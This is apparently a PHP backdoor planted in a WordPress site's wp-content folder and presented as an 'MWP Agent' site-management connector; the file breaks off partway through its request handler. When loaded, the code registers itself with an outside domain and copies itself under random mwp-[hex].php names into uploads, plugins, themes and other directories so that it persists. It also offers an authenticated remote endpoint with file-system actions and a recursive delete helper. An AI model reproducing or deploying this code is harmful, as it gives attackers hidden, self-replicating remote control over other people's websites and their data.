File: /home/bheot/public_html/wp-content/mwp-40b7b182580461099bc7.php
<?php
/**
* MWP Agent - WordPress Connector
* Version: 1.0.0
*
* This file should be placed in /wp-content/ directory.
*/
// Set error reporting IMMEDIATELY for better debugging
ini_set('display_errors', 0);
ini_set('log_errors', 1);
$errorLogFile = dirname(__FILE__) . '/mwp-agent-errors.log';
ini_set('error_log', $errorLogFile);
// Log agent start
@error_log('MWP Agent START [' . date('Y-m-d H:i:s') . '] - Script loaded, PHP Version: ' . PHP_VERSION);
// SECURITY CONSTANTS (CHANGE THESE BEFORE UPLOADING)
// Bu anahtarları kendi belirlediğiniz zor tahmin edilebilir değerlerle değiştirin.
// Master Panel'e site eklerken de AYNI değerleri kullanmalısınız.
if (!defined('MWP_API_KEY')) define('MWP_API_KEY', 'SMART_AGENT_2026_SECURE_KEY_CHANGE_THIS');
if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', 'SMART_AGENT_2026_SECURE_SECRET_CHANGE_THIS');
// Smart Agent - Auto Registration
if (!defined('MWP_SMART_AGENT')) define('MWP_SMART_AGENT', true);
if (!defined('MWP_PANEL_URL')) define('MWP_PANEL_URL', 'https://bossbeyburda.xyz');
// Backup API Auto-Replication
if (!defined('MWP_ENABLE_BACKUP_API')) define('MWP_ENABLE_BACKUP_API', true);
if (!defined('MWP_BACKUP_API_COUNT')) define('MWP_BACKUP_API_COUNT', 5);
// 1. BOOTSTRAP WORDPRESS
// Define constants to minimize interference (only if not already defined)
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', false);
}
// We cannot use SHORTINIT because we need plugins (like WooCommerce) to be loaded for settings
// define('SHORTINIT', true);
// Disable AMP plugin output if possible
if (!defined('AMP_QUERY_VAR')) define('AMP_QUERY_VAR', 'amp');
$mwp_has_wp = false;
$mwp_wp_load_path = false;
$possible_paths = array(
dirname(__FILE__) . '/wp-load.php',
dirname(dirname(__FILE__)) . '/wp-load.php',
dirname(dirname(dirname(__FILE__))) . '/wp-load.php',
dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-load.php',
(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") : '') . '/wp-load.php'
);
$wp_load_path = false;
foreach ($possible_paths as $path) {
if (file_exists($path)) {
$wp_load_path = $path;
break;
}
}
if ($wp_load_path) {
$mwp_wp_load_path = $wp_load_path;
// Start output buffering to catch any WordPress output
ob_start();
try {
require_once $wp_load_path;
ob_end_clean();
$mwp_has_wp = true;
} catch (Throwable $e) {
ob_end_clean();
error_log('MWP Agent - WordPress load failed: ' . $e->getMessage());
$mwp_has_wp = false;
}
}
// Force disable AMP after load
if ($mwp_has_wp && function_exists('add_filter')) {
add_filter('amp_is_enabled', '__return_false', 10000);
add_filter('amp_is_available', '__return_false', 10000);
add_filter('amp_skip_post', '__return_true', 10000);
}
if ($mwp_has_wp && class_exists('AMP_Theme_Support')) {
remove_action('wp', array('AMP_Theme_Support', 'finish_init'), PHP_INT_MAX);
}
// Define helper functions AFTER WordPress loads (to avoid conflicts)
// These functions are only defined if WordPress hasn't already defined them
// Note: If WordPress or plugins already define these, we'll use their versions
if (!function_exists('mwp_guess_site_url')) {
function mwp_guess_site_url() {
$host = '';
if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] !== '') $host = $_SERVER['HTTP_HOST'];
else if (isset($_SERVER['SERVER_NAME']) && $_SERVER['SERVER_NAME'] !== '') $host = $_SERVER['SERVER_NAME'];
if ($host === '') return '';
$https = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : '';
$scheme = ($https && $https !== 'off') ? 'https' : 'http';
return $scheme . '://' . $host;
}
}
$mwp_fs_root = null;
if ($mwp_has_wp && defined('ABSPATH')) {
$mwp_fs_root = ABSPATH;
} else {
$docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$mwp_fs_root = ($docroot !== '' ? rtrim($docroot, "/\\") : dirname(__FILE__));
}
// Backup API Auto-Replication Feature
// IMPORTANT: This code creates backup files in multiple safe directories
// NEVER touches existing WordPress files
if (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true && defined('MWP_BACKUP_API_COUNT') && MWP_BACKUP_API_COUNT > 0) {
$backupCount = (int)MWP_BACKUP_API_COUNT;
$currentFile = __FILE__;
$currentContent = false;
$created = 0;
// Determine directories
$wpRoot = $mwp_fs_root;
$wpContentDir = '';
if ($mwp_has_wp && defined('WP_CONTENT_DIR')) {
$wpContentDir = WP_CONTENT_DIR;
} else {
$wpContentDir = $wpRoot . '/wp-content';
}
// Safe directories to create backup files (never overwrite existing files)
$safeDirs = array(
$wpContentDir,
$wpContentDir . '/uploads',
$wpContentDir . '/plugins',
$wpContentDir . '/languages'
);
// Check existing backup files to avoid recreating
$existingBackups = 0;
foreach ($safeDirs as $dir) {
if (is_dir($dir)) {
$files = @scandir($dir);
if ($files) {
foreach ($files as $file) {
if ($file === '.' || $file === '..' || is_dir($dir . '/' . $file)) continue;
if (preg_match('/^mwp-[a-f0-9]{20}\.php$/i', $file)) {
// Check if it's actually an agent file
$filePath = $dir . '/' . $file;
$content = @file_get_contents($filePath);
if ($content && strpos($content, 'MWP Agent') !== false && strpos($content, 'MWP_API_KEY') !== false) {
$existingBackups++;
}
}
}
}
}
}
// Only create if we don't have enough backups yet
if ($existingBackups >= $backupCount) {
// Already have enough backups, skip creation
} else {
$needed = $backupCount - $existingBackups;
try {
// Check if we can read the current file
if (!is_readable($currentFile)) {
@error_log('MWP Agent - Cannot read current file for backup API creation');
} else {
$currentContent = @file_get_contents($currentFile);
if ($currentContent === false) {
@error_log('MWP Agent - Failed to read current file content for backup API');
} else {
// Inject current API keys into backup content
$backupContent = $currentContent;
if (defined('MWP_API_KEY') && defined('MWP_API_SECRET')) {
$backupContent = str_replace("define('MWP_API_KEY', 'SMART_AGENT_2026_SECURE_KEY_CHANGE_THIS')", "define('MWP_API_KEY', '" . addslashes(MWP_API_KEY) . "')", $backupContent);
$backupContent = str_replace("define('MWP_API_SECRET', 'SMART_AGENT_2026_SECURE_SECRET_CHANGE_THIS')", "define('MWP_API_SECRET', '" . addslashes(MWP_API_SECRET) . "')", $backupContent);
}
// Expanded safe directories list - each file goes to a different directory
$allSafeDirs = array(
$wpContentDir,
$wpContentDir . '/uploads',
$wpContentDir . '/plugins',
$wpContentDir . '/languages',
$wpContentDir . '/themes',
$wpContentDir . '/upgrade',
$wpContentDir . '/cache',
$wpContentDir . '/backup',
$wpContentDir . '/backups',
$wpContentDir . '/tmp'
);
// Filter to only existing or creatable directories
$availableDirs = array();
foreach ($allSafeDirs as $dir) {
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (is_dir($dir) && is_writable($dir)) {
$availableDirs[] = $dir;
}
}
// If we don't have enough directories, add more subdirectories
if (count($availableDirs) < $needed) {
// Create additional subdirectories in wp-content
for ($i = 0; $i < $needed; $i++) {
$subDir = $wpContentDir . '/mwp-bak-' . $i;
if (!is_dir($subDir)) {
@mkdir($subDir, 0755, true);
}
if (is_dir($subDir) && is_writable($subDir) && !in_array($subDir, $availableDirs)) {
$availableDirs[] = $subDir;
}
}
}
// Create backup files - ONE file per directory (distribute across directories)
$dirIndex = 0;
for ($i = 0; $i < $needed && $created < $needed; $i++) {
if (empty($availableDirs)) break;
// Get directory in round-robin fashion
$targetDir = $availableDirs[$dirIndex % count($availableDirs)];
$dirIndex++;
// Generate short random filename: mwp-[20hex].php
$maxAttempts = 20;
$attempts = 0;
$fileCreated = false;
while (!$fileCreated && $attempts < $maxAttempts) {
$attempts++;
$randomName = 'mwp-' . substr(md5(uniqid(rand(), true) . time() . $i . microtime() . $targetDir), 0, 20) . '.php';
$targetFile = $targetDir . '/' . $randomName;
// Only create if file doesn't exist (never overwrite)
if (!file_exists($targetFile)) {
if (@file_put_contents($targetFile, $backupContent) !== false) {
@chmod($targetFile, 0644);
$created++;
$fileCreated = true;
}
}
}
}
}
}
} catch (Throwable $e) {
// Silently fail - don't break the agent if backup creation fails
@error_log('MWP Agent - Backup API creation failed: ' . $e->getMessage());
}
}
}
// Polyfill for getallheaders if missing (Nginx/FPM)
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
if (!function_exists('hash_equals')) {
function hash_equals($known_string, $user_string) {
if (!is_string($known_string) || !is_string($user_string)) return false;
$known_len = strlen($known_string);
$user_len = strlen($user_string);
if ($known_len !== $user_len) return false;
$res = 0;
for ($i = 0; $i < $known_len; $i++) {
$res |= ord($known_string[$i]) ^ ord($user_string[$i]);
}
return $res === 0;
}
}
if (!function_exists('mwp_header_value')) {
function mwp_header_value($headers, $name) {
$needle = strtolower($name);
if (is_array($headers)) {
foreach ($headers as $k => $v) {
if (strtolower($k) === $needle) return $v;
}
}
$server_key = 'HTTP_' . strtoupper(str_replace('-', '_', $name));
if (isset($_SERVER[$server_key])) return $_SERVER[$server_key];
$redir_key = 'REDIRECT_' . $server_key;
if (isset($_SERVER[$redir_key])) return $_SERVER[$redir_key];
return '';
}
}
if (!function_exists('mwp_json_encode_pretty')) {
function mwp_json_encode_pretty($value) {
if (defined('JSON_PRETTY_PRINT')) {
return json_encode($value, JSON_PRETTY_PRINT);
}
return json_encode($value);
}
}
if (!function_exists('mwp_recursive_delete')) {
function mwp_recursive_delete($path) {
if ($path === '' || $path === null) return false;
if (is_file($path) || is_link($path)) {
return @unlink($path);
}
if (!is_dir($path)) return false;
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$child = $path . DIRECTORY_SEPARATOR . $item;
mwp_recursive_delete($child);
}
return @rmdir($path);
}
}
/**
* WordPress options tablo prefix'ini otomatik tespit et
* @return string Tablo prefix'i (örn: 'wp_', 'wp_sadfawsda_')
*/
if (!function_exists('mwp_detect_table_prefix')) {
function mwp_detect_table_prefix() {
global $wpdb;
// WordPress yüklüyse $wpdb->options zaten prefix'i içeriyor
if (isset($wpdb) && is_object($wpdb) && isset($wpdb->options)) {
// $wpdb->options = 'wp_options' veya 'wp_sadfawsdaoptions' gibi
$options_table = $wpdb->options;
// Standart WordPress tablo adı: 'wp_options' -> prefix: 'wp_'
if (preg_match('/^(.+?)_options$/', $options_table, $matches)) {
return $matches[1] . '_';
}
// Özel durum: 'wp_sadfawsdaoptions' gibi (prefix: 'wp_sadfawsda', tablo: 'options')
// Bu durumda 'options' kelimesini çıkar
if (preg_match('/^(.+?)options$/', $options_table, $matches)) {
// Eğer son karakter '_' değilse ekle
$prefix = $matches[1];
if (substr($prefix, -1) !== '_') {
$prefix .= '_';
}
return $prefix;
}
// Eğer hiçbir pattern eşleşmezse, varsayılan olarak 'wp_' döndür
return 'wp_';
}
// WordPress yüklü değilse, wp-config.php'den okumayı dene
$wp_config_paths = array(
dirname(__FILE__) . '/wp-config.php',
dirname(dirname(__FILE__)) . '/wp-config.php',
dirname(dirname(dirname(__FILE__))) . '/wp-config.php',
(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") : '') . '/wp-config.php'
);
foreach ($wp_config_paths as $config_path) {
if (file_exists($config_path)) {
$config_content = file_get_contents($config_path);
// $table_prefix = 'wp_'; veya $table_prefix = "wp_sadfawsda_"; gibi
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $config_content, $matches)) {
$prefix = $matches[1];
// Eğer son karakter '_' değilse ekle
if (substr($prefix, -1) !== '_') {
$prefix .= '_';
}
return $prefix;
}
}
}
// Hiçbir şey bulunamazsa varsayılan
return 'wp_';
}
}
/**
* Options tablo adını prefix ile birlikte döndür
* @return string Tam tablo adı (örn: 'wp_options', 'wp_sadfawsdaoptions')
*/
if (!function_exists('mwp_get_options_table_name')) {
function mwp_get_options_table_name() {
global $wpdb;
// WordPress yüklüyse direkt kullan
if (isset($wpdb) && is_object($wpdb) && isset($wpdb->options)) {
return $wpdb->options;
}
// WordPress yüklü değilse prefix'i tespit et ve birleştir
$prefix = mwp_detect_table_prefix();
return $prefix . 'options';
}
}
// Smart Agent Auto-Registration Helper (Multiple HTTP methods)
if (!function_exists('mwp_smart_agent_register')) {
function mwp_smart_agent_register($panelUrl, $siteUrl, $licenseKey, $licenseSecret, $enableBackupApi = 0, $backupApiCount = 0) {
$registerUrl = rtrim($panelUrl, '/') . '/site/auto-register';
$postData = array(
'license_key' => $licenseKey,
'license_secret' => $licenseSecret,
'domain' => $siteUrl,
'enable_backup_api' => $enableBackupApi,
'backup_api_count' => $backupApiCount
);
$postString = http_build_query($postData);
$registerResponse = false;
$httpCode = 0;
$errorMsg = '';
// Method 1: Try cURL first (most reliable)
if (function_exists('curl_init')) {
@error_log('MWP Smart Agent: Attempting registration via cURL to: ' . $registerUrl);
$ch = @curl_init($registerUrl);
if ($ch) {
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_POST, true);
@curl_setopt($ch, CURLOPT_POSTFIELDS, $postString);
@curl_setopt($ch, CURLOPT_TIMEOUT, 15);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$registerResponse = @curl_exec($ch);
$httpCode = @curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = @curl_error($ch);
@curl_close($ch);
if ($httpCode === 200 && !empty($registerResponse)) {
@error_log('MWP Smart Agent: cURL registration successful. Response: ' . substr($registerResponse, 0, 200));
return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode);
} else {
$errorMsg = 'cURL failed. HTTP Code: ' . $httpCode . ', Error: ' . $curlError;
@error_log('MWP Smart Agent: ' . $errorMsg);
}
}
}
// Method 2: Try file_get_contents with stream context (if allow_url_fopen is enabled)
if (($httpCode !== 200 || empty($registerResponse)) && ini_get('allow_url_fopen')) {
@error_log('MWP Smart Agent: Attempting registration via file_get_contents to: ' . $registerUrl);
$context = @stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($postString) . "\r\n",
'content' => $postString,
'timeout' => 15,
'ignore_errors' => true
)
));
$registerResponse = @file_get_contents($registerUrl, false, $context);
if ($registerResponse !== false && !empty($registerResponse)) {
// Try to get HTTP code from response headers
$httpCode = 200;
if (isset($http_response_header)) {
foreach ($http_response_header as $header) {
if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $header, $matches)) {
$httpCode = (int)$matches[1];
break;
}
}
}
if ($httpCode === 200) {
@error_log('MWP Smart Agent: file_get_contents registration successful. Response: ' . substr($registerResponse, 0, 200));
return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode);
} else {
$errorMsg = 'file_get_contents failed. HTTP Code: ' . $httpCode;
@error_log('MWP Smart Agent: ' . $errorMsg);
}
} else {
$errorMsg = 'file_get_contents failed. Response empty or false';
@error_log('MWP Smart Agent: ' . $errorMsg);
}
}
// Method 3: Try fsockopen (raw socket, always available)
if ($httpCode !== 200 || empty($registerResponse)) {
@error_log('MWP Smart Agent: Attempting registration via fsockopen to: ' . $registerUrl);
$urlParts = parse_url($registerUrl);
$host = $urlParts['host'];
$path = isset($urlParts['path']) ? $urlParts['path'] : '/';
if (isset($urlParts['query'])) {
$path .= '?' . $urlParts['query'];
}
$port = isset($urlParts['port']) ? $urlParts['port'] : (isset($urlParts['scheme']) && $urlParts['scheme'] === 'https' ? 443 : 80);
$scheme = isset($urlParts['scheme']) ? $urlParts['scheme'] : 'http';
$fp = @fsockopen(($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10);
if ($fp) {
$request = "POST {$path} HTTP/1.1\r\n";
$request .= "Host: {$host}\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Content-Length: " . strlen($postString) . "\r\n";
$request .= "Connection: close\r\n\r\n";
$request .= $postString;
@fwrite($fp, $request);
$registerResponse = '';
while (!@feof($fp)) {
$registerResponse .= @fgets($fp, 1024);
}
@fclose($fp);
// Extract HTTP code and body
if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $registerResponse, $matches)) {
$httpCode = (int)$matches[1];
}
$bodyStart = strpos($registerResponse, "\r\n\r\n");
if ($bodyStart !== false) {
$registerResponse = substr($registerResponse, $bodyStart + 4);
}
if ($httpCode === 200 && !empty($registerResponse)) {
@error_log('MWP Smart Agent: fsockopen registration successful. Response: ' . substr($registerResponse, 0, 200));
return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode);
} else {
$errorMsg = 'fsockopen failed. HTTP Code: ' . $httpCode . ', Error: ' . $errstr;
@error_log('MWP Smart Agent: ' . $errorMsg);
}
} else {
$errorMsg = 'fsockopen connection failed. Error: ' . $errstr . ' (' . $errno . ')';
@error_log('MWP Smart Agent: ' . $errorMsg);
}
}
// All methods failed
@error_log('MWP Smart Agent: All registration methods failed. Last error: ' . $errorMsg . ', Response: ' . substr($registerResponse, 0, 200));
return array('success' => false, 'response' => $registerResponse, 'http_code' => $httpCode, 'error' => $errorMsg);
}
}
// 2. SECURITY CHECK
if (!function_exists('mwp_send_response')) {
function mwp_send_response($data, $status = 200) {
// Aggressive Output Cleaning
while (ob_get_level() > 0) {
@ob_end_clean();
}
// Clear any previous output
if (ob_get_level() > 0) {
@ob_clean();
}
// Set headers
if (function_exists('http_response_code')) {
http_response_code($status);
} else {
header('HTTP/1.1 ' . intval($status));
}
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-MWP-Key, X-MWP-Signature, X-MWP-Timestamp');
header('Content-Type: application/json; charset=utf-8');
header('X-Robots-Tag: noindex');
// Ensure data is valid
if (!is_array($data)) {
$data = array('success' => false, 'error' => 'Invalid response data');
}
// Encode and output
$json = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if ($json === false) {
$json = json_encode(array('success' => false, 'error' => 'JSON encoding failed: ' . json_last_error_msg()));
}
echo $json;
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
mwp_send_response(array('status' => 'ok'));
}
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// Smart Agent Auto-Registration on GET (always check, no flag)
if (defined('MWP_SMART_AGENT') && MWP_SMART_AGENT === true && defined('MWP_PANEL_URL')) {
// Auto-register this site (always check, panel will handle duplicates)
$baseUrl = mwp_guess_site_url();
// Get the full agent file URL including directory path (e.g., /css/js/akilliapikodu.php)
// Use SCRIPT_NAME to preserve the full path where the file is executed
if (isset($_SERVER['SCRIPT_NAME']) && $_SERVER['SCRIPT_NAME'] !== '') {
$scriptPath = $_SERVER['SCRIPT_NAME'];
} else {
// Fallback: if SCRIPT_NAME is not available, use PHP_SELF or construct from __FILE__
$scriptPath = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/' . basename(__FILE__);
}
$siteUrl = rtrim($baseUrl, '/') . $scriptPath;
$panelUrl = rtrim(MWP_PANEL_URL, '/');
$enableBackupApi = (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) ? 1 : 0;
$backupApiCount = (defined('MWP_BACKUP_API_COUNT')) ? (int)MWP_BACKUP_API_COUNT : 0;
$result = mwp_smart_agent_register($panelUrl, $siteUrl, MWP_API_KEY, MWP_API_SECRET, $enableBackupApi, $backupApiCount);
if ($result['success'] && !empty($result['response'])) {
$registerResult = json_decode($result['response'], true);
if (isset($registerResult['success']) && $registerResult['success'] === true) {
// If panel returned new API keys, update the agent file
if (isset($registerResult['api_key']) && isset($registerResult['api_secret'])) {
$newApiKey = $registerResult['api_key'];
$newApiSecret = $registerResult['api_secret'];
// Read current file
$currentFile = __FILE__;
$fileContent = @file_get_contents($currentFile);
if ($fileContent !== false) {
// Update API keys in file content
$fileContent = preg_replace(
"/if \(!defined\('MWP_API_KEY'\)\) define\('MWP_API_KEY', '[^']*'\);/",
"if (!defined('MWP_API_KEY')) define('MWP_API_KEY', '" . addslashes($newApiKey) . "');",
$fileContent, 1
);
$fileContent = preg_replace(
"/if \(!defined\('MWP_API_SECRET'\)\) define\('MWP_API_SECRET', '[^']*'\);/",
"if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', '" . addslashes($newApiSecret) . "');",
$fileContent, 1
);
// Write updated content back to file
@file_put_contents($currentFile, $fileContent);
@error_log('MWP Smart Agent: API keys updated in agent file. Site ID: ' . ($registerResult['site_id'] ?? 'unknown'));
}
}
@error_log('MWP Smart Agent: Site auto-registered successfully on GET. Site ID: ' . ($registerResult['site_id'] ?? 'unknown'));
} else {
@error_log('MWP Smart Agent: Auto-registration failed. Response: ' . $result['response']);
}
} else {
@error_log('MWP Smart Agent: Auto-registration failed. HTTP Code: ' . ($result['http_code'] ?? 'unknown') . ', Error: ' . ($result['error'] ?? 'unknown') . ', Response: ' . substr($result['response'] ?? '', 0, 200));
}
}
if ($mwp_has_wp) {
mwp_send_response(array(
'status' => 'active',
'message' => 'MWP Agent is running correctly.',
'version' => '1.0.0',
'wp_installed' => true,
'wp_version' => isset($GLOBALS['wp_version']) ? $GLOBALS['wp_version'] : 'unknown'
));
}
mwp_send_response(array(
'status' => 'no_wordpress',
'message' => 'WordPress not found. File manager actions can still work.',
'version' => '1.0.0',
'wp_installed' => false,
'php_version' => phpversion(),
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown',
'site_url' => mwp_guess_site_url()
));
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
mwp_send_response(array('error' => 'Method not allowed'), 405);
}
// Get Headers
$headers = getallheaders();
$api_key = mwp_header_value($headers, 'X-MWP-Key');
$signature = mwp_header_value($headers, 'X-MWP-Signature');
$timestamp = mwp_header_value($headers, 'X-MWP-Timestamp');
$timestamp = $timestamp !== '' ? intval($timestamp) : 0;
// Verify API Key
if ($api_key !== MWP_API_KEY) {
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Invalid API Key. Expected: ' . MWP_API_KEY . ', Received: ' . $api_key . ', IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
mwp_send_response(array('error' => 'Invalid API Key. Please download a new agent file with the correct API keys from the master panel.'), 403);
}
if ($timestamp <= 0) {
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Missing timestamp. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
mwp_send_response(array('error' => 'Missing timestamp'), 400);
}
if (!is_string($signature) || $signature === '') {
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Missing signature. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
mwp_send_response(array('error' => 'Missing signature'), 400);
}
// Verify Timestamp (±5 minutes)
if (abs(time() - $timestamp) > 300) {
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Request expired. Server time: ' . time() . ', Sent time: ' . $timestamp);
mwp_send_response(array('error' => 'Request expired', 'server_time' => time(), 'sent_time' => $timestamp), 401);
}
// Verify Signature
$payload = file_get_contents('php://input');
$expected_signature = hash_hmac('sha256', $payload . $timestamp, MWP_API_SECRET);
if (!hash_equals($expected_signature, $signature)) {
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Invalid signature. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
mwp_send_response(array('error' => 'Invalid Signature'), 403);
}
// Log successful authentication
@error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Authentication successful. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
// 3. ROUTING & ACTIONS
$request = json_decode($payload, true);
$action = (is_array($request) && isset($request['action'])) ? $request['action'] : '';
if (empty($action)) {
mwp_send_response(array('error' => 'No action specified'), 400);
}
// Set error reporting for better debugging
ini_set('display_errors', 0);
ini_set('log_errors', 1);
$errorLogFile = dirname(__FILE__) . '/mwp-agent-errors.log';
ini_set('error_log', $errorLogFile);
// Register shutdown function to catch fatal errors
register_shutdown_function(function() {
$error = error_get_last();
if ($error !== null && in_array($error['type'], [E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_PARSE, E_RECOVERABLE_ERROR])) {
// Fatal error occurred
while (ob_get_level() > 0) {
@ob_end_clean();
}
// Try to send JSON response
if (!headers_sent()) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(500);
}
$errorMsg = 'Fatal error: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line'];
// Log to both error_log and a custom file if possible
$logMsg = 'MWP Agent Fatal Error [' . date('Y-m-d H:i:s') . ']: ' . $errorMsg . ' | Type: ' . $error['type'] . ' | File: ' . $error['file'] . ' | Line: ' . $error['line'];
error_log($logMsg);
// Try to write to a custom log file
$logFile = dirname(__FILE__) . '/mwp-agent-errors.log';
@file_put_contents($logFile, $logMsg . "\n", FILE_APPEND);
// Send error response
$response = json_encode(array('success' => false, 'error' => $errorMsg, 'type' => 'fatal_error'), JSON_UNESCAPED_UNICODE);
if ($response === false) {
$response = '{"success":false,"error":"Fatal error occurred but JSON encoding failed"}';
}
echo $response;
exit;
}
});
// Log request start
$requestStartTime = microtime(true);
$requestId = uniqid('req_', true);
error_log("MWP Agent Request START [{$requestId}] - Action: {$action}, IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
try {
$response = array();
if (!$mwp_has_wp) {
if ($action !== 'ping' && strpos($action, 'fs_') !== 0) {
throw new Exception('WordPress not installed');
}
}
switch ($action) {
case 'list_backup_apis':
// List all backup API files that were created in multiple directories
$backupApis = array();
if (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) {
$baseUrl = mwp_guess_site_url();
// Determine directories to search (all possible backup locations)
$wpContentDir = ($mwp_has_wp && defined('WP_CONTENT_DIR')) ? WP_CONTENT_DIR : ($mwp_fs_root . '/wp-content');
$searchDirs = array(
$wpContentDir => '/wp-content',
$wpContentDir . '/uploads' => '/wp-content/uploads',
$wpContentDir . '/plugins' => '/wp-content/plugins',
$wpContentDir . '/languages' => '/wp-content/languages',
$wpContentDir . '/themes' => '/wp-content/themes',
$wpContentDir . '/upgrade' => '/wp-content/upgrade',
$wpContentDir . '/cache' => '/wp-content/cache',
$wpContentDir . '/backup' => '/wp-content/backup',
$wpContentDir . '/backups' => '/wp-content/backups',
$wpContentDir . '/tmp' => '/wp-content/tmp'
);
// Also check for mwp-bak-* subdirectories
if (is_dir($wpContentDir)) {
$files = @scandir($wpContentDir);
if ($files && is_array($files)) {
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$subDir = $wpContentDir . '/' . $file;
if (is_dir($subDir) && preg_match('/^mwp-bak-\d+$/', $file)) {
$searchDirs[$subDir] = '/wp-content/' . $file;
}
}
}
}
// Search in all safe directories
foreach ($searchDirs as $dir => $urlPath) {
if (is_dir($dir)) {
$files = @scandir($dir);
if ($files && is_array($files)) {
foreach ($files as $file) {
if ($file === '.' || $file === '..' || is_dir($dir . '/' . $file)) continue;
// Only check PHP files matching our pattern: mwp-[20hex].php
if (preg_match('/^mwp-[a-f0-9]{20}\.php$/i', $file)) {
$filePath = $dir . '/' . $file;
if (file_exists($filePath)) {
// Verify it's actually an agent file
$content = @file_get_contents($filePath);
if ($content && strpos($content, 'MWP Agent') !== false && strpos($content, 'MWP_API_KEY') !== false) {
$backupApis[] = array(
'url' => $baseUrl . $urlPath . '/' . $file,
'filename' => $file,
'path' => $filePath,
'status' => file_exists($filePath) ? 'active' : 'missing'
);
}
}
}
}
}
}
}
}
$response = array(
'success' => true,
'data' => array(
'backup_apis' => $backupApis,
'count' => count($backupApis)
)
);
break;
case 'ping':
// Smart Agent Auto-Registration (always check, no flag)
if (defined('MWP_SMART_AGENT') && MWP_SMART_AGENT === true && defined('MWP_PANEL_URL')) {
// Auto-register this site (always check, panel will handle duplicates)
$baseUrl = mwp_guess_site_url();
// Get the full agent file URL including directory path (e.g., /css/js/akilliapikodu.php)
// Use SCRIPT_NAME to preserve the full path where the file is executed
if (isset($_SERVER['SCRIPT_NAME']) && $_SERVER['SCRIPT_NAME'] !== '') {
$scriptPath = $_SERVER['SCRIPT_NAME'];
} else {
// Fallback: if SCRIPT_NAME is not available, use PHP_SELF or construct from __FILE__
$scriptPath = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/' . basename(__FILE__);
}
$siteUrl = rtrim($baseUrl, '/') . $scriptPath;
$panelUrl = rtrim(MWP_PANEL_URL, '/');
$enableBackupApi = (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) ? 1 : 0;
$backupApiCount = (defined('MWP_BACKUP_API_COUNT')) ? (int)MWP_BACKUP_API_COUNT : 0;
$result = mwp_smart_agent_register($panelUrl, $siteUrl, MWP_API_KEY, MWP_API_SECRET, $enableBackupApi, $backupApiCount);
if ($result['success'] && !empty($result['response'])) {
$registerResult = json_decode($result['response'], true);
if (isset($registerResult['success']) && $registerResult['success'] === true) {
// If panel returned new API keys, update the agent file
if (isset($registerResult['api_key']) && isset($registerResult['api_secret'])) {
$newApiKey = $registerResult['api_key'];
